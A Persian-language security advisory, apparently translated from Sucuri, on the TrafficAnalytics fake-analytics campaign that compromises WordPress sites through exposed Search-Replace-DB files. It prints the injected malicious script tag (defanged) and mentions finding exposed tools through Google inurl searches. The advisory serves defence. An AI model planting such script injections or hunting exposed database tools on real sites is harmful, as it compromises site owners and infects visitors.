ابزار تقلبی تحلیل وب سایت

چند ماه پیش یک ابزار تقلبی تحلیل وب سایت که RealStatistics نام داشت ، شناسایی شد. یک جاوا اسکریپت مخرب به کاربران داده می شد تا آن را در سایتشان وارد کنند و عمل تحلیل انجام شود. در این مطلب یک ابزار تقلبی تحلیل وب سایت که به تازگی ظهور پیدا کرده را معرفی می کنیم.

RealStatistics حتی وب سایت های مخرب تحلیل سایت طراحی کرد تا آن دسته از وبمسترانی که در برابر کدهای نا آشنای ابزارش مقاوت می کردند را منحرف کند. اخیرا نوع جدیدی از این ابزار تقلبی تحلیل وب سایت تولید شده است. کمپین جدید از trafficanalytics[.]online به عنوان منبع کدهای مخرب استفاده می کند. اگرچه به نظر ساده می آید اما آسیبی که به سایت وارد می کند ویرانگر است. RealStatistics به عنوان یک سرویس مخرب برای سایت های وردپرسی و جوملایی شناخته شده بود.

ابزار تقلبی تحلیل وب سایت های وردپرسی

در حال حاضر وب سایت های وردپرسی زیادی را می بینیم که آلوده شده اند. آلودگی ها معمولا در پایگاه داده و در جدول wp_posts و یا در فایل header.php یافت می شوند کد مخرب چیزی شبیه این است:

<script type=\'text/javascript\' src=\'hxxp://js[.]trafficanalytics[.]online/js/js.js\'></script>
 

تا کنون به نظر می رسد کمپین بدافزار TrafficAnalytics هم مثل نمونه قبلی ، روی سایت های وردپرسی تمرکز کرده است. این کمپین ، بازدیدکنندگان را از طریق دامنه های واسط هدایت می کند تا سرانجام آنها به یک صفحه پر از اسپم ، تبلیغات و دانلود های ناخواسته برسند.

در اینجا تصویر کانکشن هایی را می بینید که هنگام استفاده از این سرویس برقرار می شوند:

هدف نهایی این ریدایرکت (هدایت) های پشت سر هم ، قرار گرفتن در لیست سیاه مایکروسافت است.

صفحه نهایی که بازدیدکننده به آن هدایت می شود حاوی دانلودهای مخربی است که می توانند کامپیوتر او را آلوده کنند و یا اطلاعات شخصی او را سرقت کنند. هکرها با درج لینک در این صفحات کسب درآمد نیز می کنند.

ابزار Search-Replace-DB

حین بررسی این مشکل متوجه شدیم اکثر سایت هایی که با کد بالا آلوده شده اند ، الگوی مشابهی در آنها پیاده شده است. تقریبا در تمام سایت هایی که پاکسازی شدند ، یک فایل آسیب پذیر مشاهده شد:

• searchreplacedb2.php

اگرچه نام فایل ممکن است متفاوت باشد ، اما این ابزار همیشه در مسیر اصلی هاست (جایی که فایل های وردپرس کپی شده اند) قرار می گیرد. این یک ابزار قانونی و مفید است و حتی آن را جزء ابزارهای پاکسازی سایت توصیه می کنیم. Search-Replace-DB به طراح سایت یا وبمستر کمک می کند محتوایی را که می خواهند در پایگاه داده پیدا کنند و با عبارت مورد نظرشان جایگزین کنند.

اما مشکل اینجاست که شبیه بسیاری از ابزارهای مدیریت پایگاه داده دیگر ، هیچ قابلیت امنیتی برای جلوگیری از دسترسی های غیرمجاز وجود ندارد. این ابزار فقط مناسب استفاده موقت هستند و پس از استفاده باید سریعا پاک شوند. اگر در سرور باقی بمانند و توسط گوگل ایندکس شوند ، هکرها به راحتی می توانند از طریق گوگل و دستور inurl آن را پیدا کنند.

یک برنامه نویس به راحتی ابزار را در سرور آپلود کرده و سپس از طریق وب به آن را اجرا می کند. ابزار از طریق فایل پیشفرض پیکربندی وردپرس (wp-config.php) به پایگاه داده متصل شده و یک رابط کاربری ساده به برنامه نویس نشان می دهد تا توابع مورد نظر خود را پیدا و جایگزین کند.

تیم تحقیق کننده نتوانست الگوی خاصی برای توابعی که هکرها در سایت های آلوده پیدا و جایگزین می کنند تعیین کند و به همین دلیل عملیات پاکسازی به توجه بیشتری نیاز دارد.

نتیجه

اگر شما در سایتتان ریدایرکت هایی شبیه مورد ذکر شده مشاهده می کنید ، دلیلش می تواند همین باشد. به شدت توصیه می کنیم سایت خود را توسط اسکنر رایگان Succuri چک کنید. همچنین می توانید اقدامات لازم پس از هک شدن سایت را مرور کرده و در صورت لزوم انجام دهید.

این مهم است که تغییرات سایتتان را به دقت زیر نظر داشته باشید. راحت ترین راه برای این کار استفاده از سرویس های مانیتورینگ سلامت سایت است. افزونه رایگان Succuri فایل های لاگ و فایل های هسته وردپرس را بررسی می کند و به ازای هر محتوای شناخته شده مخربی به شما هشدار می دهد. این نوع ابزار تقلبی تحلیل وب سایت و ابزار Search-Replace-DB نیز هنگامی که سرویس های مانیتورینگ و اسکنینگ به طور پیوسته در حال اجرا باشند ، به عنوان هشدار نمایش داده خواهند شد.

اگر شما هم در سرورتان از ابزارهایی مثل مورد مذکور استفاده می کنید ، حتما پس از استفاده ، آنها را پاک کنید.

منبع: Blog.sucuri.net